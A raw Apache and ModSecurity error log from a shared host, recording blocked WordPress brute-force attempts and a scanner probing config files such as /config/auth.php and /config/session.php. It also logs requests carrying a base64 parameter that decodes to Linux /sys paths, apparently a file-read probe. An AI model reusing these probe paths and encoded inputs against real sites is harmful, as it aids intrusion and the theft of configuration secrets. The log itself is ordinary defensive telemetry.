https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9wb3dlcg== [Sat Jun 13 18:19:35.193407 2026] [access_compat:error] [pid 646876:tid 646892] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9wb3dlcg== [Sat Jun 13 18:19:35.304530 2026] [security2:error] [pid 646876:tid 646981] [remote 103.143.207.18:59940] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.207.143.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gycblinds.com"] [uri "/wp-login.php"] [unique_id "ai3zl9yTkdrNlD40tSG6jgAAf2Y"], referer: https://gycblinds.com/wp-login.php [Sat Jun 13 18:19:35.572030 2026] [security2:error] [pid 648189:tid 648281] [remote 172.194.139.254:19217] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 254.139.194.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "weiserfestival.net"] [uri "/wp-login.php"] [unique_id "ai3zl1WSojQL4F7upKB7hwAAhjs"] [Sat Jun 13 18:19:35.624599 2026] [security2:error] [pid 648189:tid 648419] [client 185.177.72.9:47096] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/bootstrap/app.php"] [unique_id "ai3zl1WSojQL4F7upKB7igAAAMY"] [Sat Jun 13 18:19:35.695458 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:19:35.695790 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:19:35.868276 2026] [security2:error] [pid 648189:tid 648280] [remote 172.194.139.254:19217] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 254.139.194.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "weiserfestival.net"] [uri "/wp-login.php"] [unique_id "ai3zl1WSojQL4F7upKB7kwAAiDo"], referer: https://weiserfestival.net/wp-login.php [Sat Jun 13 18:19:35.901422 2026] [security2:error] [pid 646876:tid 647128] [client 185.177.72.9:47100] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/auth.php"] [unique_id "ai3zl9yTkdrNlD40tSG6lQAAAHg"] [Sat Jun 13 18:19:36.024707 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.103:53992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:36.025178 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.103:53992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:36.177095 2026] [security2:error] [pid 648189:tid 648391] [client 185.177.72.9:47104] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/filesystems.php"] [unique_id "ai3zmFWSojQL4F7upKB7nQAAAKs"] [Sat Jun 13 18:19:36.220938 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2 [Sat Jun 13 18:19:36.221370 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2 [Sat Jun 13 18:19:36.231050 2026] [security2:error] [pid 648189:tid 648302] [remote 17.241.75.252:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 252.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zmFWSojQL4F7upKB7ngAAjFA"] [Sat Jun 13 18:19:36.371818 2026] [access_compat:error] [pid 648189:tid 648253] [remote 57.141.14.3:61940] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:36.372241 2026] [access_compat:error] [pid 648189:tid 648253] [remote 57.141.14.3:61940] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:36.445192 2026] [security2:error] [pid 648189:tid 648475] [client 185.177.72.9:47114] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/queue.php"] [unique_id "ai3zmFWSojQL4F7upKB7pwAAAPk"] [Sat Jun 13 18:19:36.471909 2026] [access_compat:error] [pid 648189:tid 648266] [remote 57.141.14.44:52913] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:36.472180 2026] [access_compat:error] [pid 648189:tid 648266] [remote 57.141.14.44:52913] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:36.494902 2026] [security2:error] [pid 646876:tid 647112] [client 143.244.57.82:55520] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.57.244.143.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "marcelafernandes.magia.vegas"] [uri "/xmlrpc.php"] [unique_id "ai3zmNyTkdrNlD40tSG6pAAAAGg"] [Sat Jun 13 18:19:36.495019 2026] [security2:error] [pid 646876:tid 647112] [client 143.244.57.82:55520] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "marcelafernandes.magia.vegas"] [uri "/xmlrpc.php"] [unique_id "ai3zmNyTkdrNlD40tSG6pAAAAGg"] [Sat Jun 13 18:19:36.573580 2026] [access_compat:error] [pid 648189:tid 648259] [remote 57.141.14.53:59876] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:36.573885 2026] [access_compat:error] [pid 648189:tid 648259] [remote 57.141.14.53:59876] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:36.587226 2026] [security2:error] [pid 646876:tid 646895] [remote 143.110.183.208:37094] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.183.110.143.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.makulapictures.com"] [uri "/wp-login.php"] [unique_id "ai3zmNyTkdrNlD40tSG6pQAAYBA"] [Sat Jun 13 18:19:36.716389 2026] [security2:error] [pid 648189:tid 648441] [client 185.177.72.9:47120] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/session.php"] [unique_id "ai3zmFWSojQL4F7upKB7tgAAANw"] [Sat Jun 13 18:19:36.768185 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:19:36.768573 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:19:36.903618 2026] [security2:error] [pid 648189:tid 648425] [client 172.56.168.133:7968] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zmFWSojQL4F7upKB7vgAAAMw"] [Sat Jun 13 18:19:36.908718 2026] [security2:error] [pid 648189:tid 648425] [client 172.56.168.133:7968] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zmFWSojQL4F7upKB7vgAAAMw"] [Sat Jun 13 18:19:36.988891 2026] [security2:error] [pid 648189:tid 648419] [client 185.177.72.9:47132] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/view.php"] [unique_id "ai3zmFWSojQL4F7upKB7xQAAAMY"] [Sat Jun 13 18:19:37.267400 2026] [security2:error] [pid 648189:tid 648396] [client 185.177.72.9:47144] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/logging.php"] [unique_id "ai3zmVWSojQL4F7upKB71gAAALA"] [Sat Jun 13 18:19:37.267981 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6Om51bWxvY2svZGV2aWNlL2lk [Sat Jun 13 18:19:37.268266 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6Om51bWxvY2svZGV2aWNlL2lk [Sat Jun 13 18:19:37.441175 2026] [security2:error] [pid 648189:tid 648400] [client 45.86.200.5:62061] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 5.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/chosen.php"] [unique_id "ai3zmVWSojQL4F7upKB72QAAALQ"] [Sat Jun 13 18:19:37.546474 2026] [security2:error] [pid 648189:tid 648379] [client 185.177.72.9:47154] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/broadcasting.php"] [unique_id "ai3zmVWSojQL4F7upKB74gAAAJ8"] [Sat Jun 13 18:19:37.817278 2026] [security2:error] [pid 648189:tid 648447] [client 185.177.72.9:47166] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/resources/views/errors/500.blade.php"] [unique_id "ai3zmVWSojQL4F7upKB77AAAAOE"] [Sat Jun 13 18:19:37.818138 2026] [security2:error] [pid 648189:tid 648329] [remote 17.22.245.6:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 6.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zmVWSojQL4F7upKB76wAAmWo"] [Sat Jun 13 18:19:37.827260 2026] [access_compat:error] [pid 646876:tid 646937] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:37.827531 2026] [access_compat:error] [pid 646876:tid 646937] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:37.934731 2026] [access_compat:error] [pid 646876:tid 646970] [remote 57.141.14.7:39293] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:37.935163 2026] [access_compat:error] [pid 646876:tid 646970] [remote 57.141.14.7:39293] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:38.022198 2026] [security2:error] [pid 648189:tid 648472] [client 210.217.96.217:57797] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zmlWSojQL4F7upKB79AAAAPY"] [Sat Jun 13 18:19:38.022371 2026] [security2:error] [pid 648189:tid 648472] [client 210.217.96.217:57797] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zmlWSojQL4F7upKB79AAAAPY"] [Sat Jun 13 18:19:38.042745 2026] [access_compat:error] [pid 648189:tid 648248] [remote 57.141.14.71:52280] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:38.043173 2026] [access_compat:error] [pid 648189:tid 648248] [remote 57.141.14.71:52280] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:38.084663 2026] [security2:error] [pid 648189:tid 648366] [client 185.177.72.9:47170] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/resources/views/errors/404.blade.php"] [unique_id "ai3zmlWSojQL4F7upKB7-AAAAJI"] [Sat Jun 13 18:19:38.184957 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.41:48355] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:38.185220 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.41:48355] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:38.206848 2026] 